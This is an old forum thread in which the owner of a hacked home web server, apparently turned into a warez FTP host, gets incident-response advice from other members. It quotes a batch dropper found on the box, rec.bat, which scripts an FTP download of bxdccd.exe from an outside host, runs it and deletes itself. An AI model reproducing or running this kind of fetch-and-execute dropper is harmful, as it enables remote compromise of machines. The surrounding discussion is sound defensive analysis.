Hacked !!!!!!

Printable View

Show 40 post(s) from this thread on one page

February 18th, 2003, 11:07 PM
KissCool

Quote:

i thought it was a french job... this IS french, right?

Yes, it is.
It's strange you have posted this thread now because I have heard very recently from some friends (yes, French friends) about some FTP networks for Warez created by hacking weak boxes. This FTP networks phenomenon sems to be rampant nowadays. Complete script kiddies communities are doing this all the day now.

You should have patched regularly your software before the hack. Now you will have to make a complete reinstall if you want to be certain to have a clean system.

If you want to laugh a bit, you can modify the French welcome messages by something like "this system is now monitored by authorities, your are now considered as suspect in a crime against private material by stealing bandwith..." (something like this). Or if you want a French message: "Ce serveur FTP est maintenant controlé par les autorités judiciaires dans le cadre d'une enquéte pour vol de bande passante, intrusion dans un systéme informatique privé et violation de copyrights. Vous êtes priés de contacter votre fournisseur d'accés Internet ou les autorités juciaires pour donner l'identité de la personne qui a illégalement ouverte ce serveur. Votre IP et vos logs de connections seront conservés pour la durée de l'enquéte. Merci pour votre compréhension"

KC
February 18th, 2003, 11:36 PM
KapperDog

LMAO. Now I remember why I used to spend so much time here. LOL Whatta great crowd.

OK, I would love to leave this up and play with this a little bit. Not really to smoke this guy but, just to learn and maybe scare him out of doing it again.

1 BIG PROBLEM

I don't want the rest of my LAN comprimised.

I don't care about the web server of the information on it.

So, I guess my first task is to secure the rest of the LAN

I have only 1 cable ISP connection so, I can not isolate the lan from the server. (We have to keep in mind that I want to maintain my internet connections and functionality of the rest of the LAN, if possible)

I have taken the server IP out of the DMZ (on the router) and placed it in IP forwarding. Good start? I figure if the router is doing it's job, he doesn't know about the other boxes on the LAN. Right? (Although, I guess any mapped drive would show up). Hmmmm. A little confused. LOL

Anyway, a little advice on keeping him out of the rest of my LAN would be helpful.

If there is any info I can provide, let me know.

Meanwhile, I am going to go back over this thread and review the advice you all have given me.

The first thing I will do is report the intrusion to the ISP.

Thanks again,
KD

2 of the 3 gz files he left were...

.in.new-this-day.gz
.in.new-this-week.gz

They are both full of the following data. This is just a small sample.

Code:

407493 4 drwxrwsr-x 2 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/potato-proposed-updates 55259234 4 drwxr-xr-x 6 ftpmaint ftpmaint 4096 Feb 18 01:00 pub/debian-non-US 262198 1 -rw-r--r-- 1 ftpmaint ftpmaint 197 Feb 17 20:52 pub/debian-non-US/dists/potato-proposed-updates/Release.gpg 5262178 1 -rw-rw-r-- 1 ftpmaint ftpmaint 784 Feb 17 20:52 pub/debian-non-US/dists/potato-proposed-updates/Release 3759072 4 drwxr-sr-x 5 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US 2779424 4 drwxr-sr-x 2 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-alpha 3014528 1 -rw-r--r-- 1 ftpmaint ftpmaint 92 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-alpha/Release 2779425 4 drwxr-sr-x 2 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-arm 1485280 1 -rw-r--r-- 1 ftpmaint ftpmaint 90 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-arm/Release 2779426 4 drwxr-sr-x 2 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-hppa 2035585 1 -rw-r--r-- 1 ftpmaint ftpmaint 91 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-hppa/Release 2779427 4 drwxr-sr-x 2 ftpmaint ftpmaint 4096 Feb 17 20:52 pub/debian-non-US/dists/sarge/non-US/contrib/binary-i386

The 3rd gz file is ls-lR.gz and it's 5.6 meg. The other 2 were 74kb and 472kb.

When I tried to view it with WinZip it asked for the full name of the file in the archive and then would not open it. I've seem password protected zip files before but, never this.

I could email it to someone if they want.

Here is my task manager. See anything running that shouldn't be?

Geeze, I'm going to have to pay JP extra this month for all the bandwidth I'm using. LOL

[IMG]http:/hobbys.no-ip.com/pics/image2.jpg[/IMG]
February 19th, 2003, 02:46 AM
KapperDog

Ya know, the more I dig into this, the more I think I should be embarassed.

I'm a 25+ year puter geek and this is what I did........

I put a web server in the DMZ of the router with no firewall.

I guess I assumed the router firewall was still going to protect it. However, after today, I believe that when I moved the servers IP to the DMZ, I bypassed the router firewall protection.

I feel like I left the door wide open.

Am I that stupid? Don't be shy. Step right up and slap me. LOL

OK, so far here's what I've done.

1. I removed the servers IP from the DMZ and returned the DMZ setting to 192.168.1.0 (I think that's right. It wouldn't let me leave it blank).

Then, I enabled port forwarding for the servers IP port 80 to 80. Protocol TCP (UDP not checked).

2. I went to Zonelabs and downloaded ZA. It's now installed.

I am allowing the server proggy (Savant) access and my wifes ebay pics are proudly displayed on her auctions. LOL

That's about all I've done so far. Going back to do more.

Thanks,
KD

I will try to make my posts short from now on. If anyone wants the files he left, I can zip them and post them here. Hell, I guess I can host them . LOL

I found 2 files in my system32 dir that seemed wrong. 1 is rec.bat and the other is ftp.txt.

Both files are dated a week ago.

Rec.bat

@echo off
echo open ubc.nailed.org 7893>>ftp.txt
echo x>>ftp.txt
echo dcc>>ftp.txt
echo prompt>>ftp.txt
echo bin>>ftp.txt
echo get bxdccd.exe>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
del ftp.txt
bxdccd.exe
del rec.bat /q /f

ftp.txt

open ubc.nailed.org 7893
x
dcc
prompt
bin
get bxdccd.exe
bye

And, yes the bxdccd.exe file is there too
February 19th, 2003, 03:40 AM
omalakai

DNTUS26.EXE

I looked at your Task Manager screen, and one file stood out for me, DNTUS26.EXE.
Shut this file down NOW!
This file is from Dameware NT Utilities (http://www.dameware.com )
Dameware is a nice Windows administration tool. It combined User Manager, Server Manager, and many other functions into a single application. I use it at the office every day to manage my servers.
One of the functions is its own remote control application.
The way it works is, you connect to a remote machine over TCP por 139 and authenticate with a valid username & password. At that point, the target portion of the appliction is installed and set up to run AS A SERVICE!
This target program is a trojan. It sets up on its own port (you can specify what port) so the attacker can connect to it and have console access.
It also locks out the keyboard and mouse on your side (if configured to do so, but that is optional).

The service it sets up is called "Dameware Mini Remote Control". Go and stop that service, or kill the EXE that is running. Personally, I would Disable the service until I could delete it.

Now, this also goes to show that you need to change all of your passwords, since at least one was compromised to install Dameware.
February 19th, 2003, 03:41 AM
Tiger Shark

Kapper:

If your machine was DMZ'ed on a linksys then your other machines should be fine _if_ you haven't got 2 NIC's in the DMZ machine and connect to both or allow any port forwarding to an internal box. If that's the case then you have a choice.... I can see a couple of things we can do to play with these guys if you want and if you feel confident enough....... I have no intention of having you place anything at risk other than what is already compromised.... you'll need some time available and a machine that you can place to watch the compromised system.... you have 10 machines you say but I have no idea what they are..... if you want to play a bit then we can.... If you want to be cleaned and secured we can do that too..... Frankly, if you are in the slightest bit unhappy with playing then tell me to go away and your best course of action is to format and reinstall everything and put a firewall in place.... OTOH.... If you want to _play_ then you will have to reformat and reinstall anyway.

My motivation here? It was great for me to see a hack "in progress"..... It wasn' the _most_ efficient hack ever..... there were mistakes..... knowing they make mistakes and knowing therefore that they might make others I would love to watch the upcoming scenario.....

But it ain't my box...... Period..... It's yours..... I defer to your better judgement... I'll discuss the event you showed us in the morning.....
February 19th, 2003, 04:52 AM
KapperDog

Well guys, I am in over my head but, isn't that how we learn to swim? LOL

Like I said, my only concern is the other boxes on my LAN.

I don't mind playing but, first I would like to cover a couple of the basics.

1. It looks like this box was compromised by more than 1 hacker. How did they all get in?

2. Am I set up properly, now, to prevent new intrusions?

Once I'm comfy with that we can move to repairing the damage I did to his hack and see if he comes back.

As far as DNTUS26.EXE, I could not delete the file and I could not stop the service. I restarted in safe mode and was able to delete the .exe file.

Now, there looks to be a dozen or so entries for DNTUS*.* in my registry. After all these years, I still don't feel comfy in regedit. Looks like I better start. LOL

Anyway, the service is no longer running. Thanks.
February 19th, 2003, 06:21 AM
lucktsm

Wow, that actually scares me. This guy was pretty good.
French language in the text files. Interesting. Does look like a warez site. May want to keep tabs on other traffic and/or disk usage.

I really like the honeypot idea, great way to learn more if you have a fish on the line.

I really don't know if I trust the lynksys router. You may want to load any updates and reset to factory and reconfigure it. I had a lynksys and I had really weird stuff happen.
February 19th, 2003, 07:02 AM
KapperDog

The Linksys router has the latest updates to the firmware....and did before the hack.

I don't think there is anything wrong with the router or it's config. I think puttin git in the DMZ without a firewall left it wide open.....yes?

I finally got Telnet server to shut down and I'm just finishing up doing google searches on all the other processes running in my task manager.

If he comes back around the same time tonight, he should be here in a few hours.
February 19th, 2003, 07:05 AM
Tedob1

SamSpade gave up the account s/he's using:

AToulon-103-1-2-43.abo.wanadoo.fr

what a surprise wanadoo. you got enough to nail'em if you wanted too and wanadoo would do something about it.
February 19th, 2003, 07:09 AM
TSeNg

Quote:

Originally posted here by lucktsm
Wow, that actually scares me. This guy was pretty good.

Sorry brother, I got to disagree, he was not good. He was So messy, Leaving the Command prompt up... he might as well gave us his phone number, and home address.....

about the french i believe its french hacker groups causing trouble... but all in all... "script Kiddies" very messy...

Thats the whole point of the honeypot... he wont even know what hes stepping into becuase hes messy....

Show 40 post(s) from this thread on one page